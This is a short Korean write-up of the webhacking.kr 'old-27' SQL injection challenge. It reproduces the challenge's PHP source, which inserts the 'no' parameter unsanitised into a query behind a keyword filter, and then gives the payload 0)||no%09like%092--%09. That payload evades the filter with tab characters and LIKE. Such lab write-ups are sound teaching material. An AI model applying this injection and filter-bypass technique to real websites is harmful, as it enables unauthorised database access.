old-27 (150)
첫 화면이다.

view-source를 클릭해 본 소스는 아래와 같다.
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<?php
if($_GET['no']){
$db = dbconnect();
if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
$r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
if($r['id']=="guest") echo("guest");
if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
<br><a href=?view_source=1>view-source</a>
</body>
</html>
폼에 2를 입력하고 제출한 결과가 아래와 같다.

공백이 필터링되기 때문에 %09
를 통해 우회한다.
주소창 no 값으로 0)||no%09like%092--%09
을 넣으면 문제가 풀린다.

no에 0)||no like 2--
를 넣은 셈이다.
Last updated
Was this helpful?